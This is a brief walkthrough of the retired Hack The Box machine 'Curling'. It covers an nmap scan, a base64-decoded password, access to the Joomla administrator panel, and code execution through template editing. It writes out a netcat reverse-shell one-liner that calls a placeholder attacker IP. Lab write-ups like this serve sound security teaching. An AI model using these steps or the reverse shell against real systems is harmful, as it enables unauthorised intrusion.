Hack The Box · Linux Machine
Curling
| Name | Curling |
|---|---|
| Release date | 27 Oct 2018 |
| Retire date | 20 Mar 2019 |
| OS | Linux |
| Difficulty | Easy - Retired [0] |
| Rated difficulty | ![]() |
| Radar graph | ![]() |
| Creator | L4mpje |
| CherryTree file | Download and remove the .txt extension |
Enumeration
nmap -sC -sV -oA ./curling 10.10.10.150SSH and Joomla are exposed. Page content reveals the user floris, while a source-code comment points to secret.txt. Decoding Q3VybGluZzIwMTgh gives Curling2018!.

Joomla access and shell
The credentials floris:Curling2018! work on the Joomla administrator page. Editing the Protostar template adds command execution, which is then replaced with a Netcat reverse shell.

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc YOURIP 1234 >/tmp/fPrivilege escalation
The remainder of the original walkthrough uses local enumeration and the recovered Floris data to move from the web user to the machine user and then root. The full command output remains available in the linked CherryTree notes.

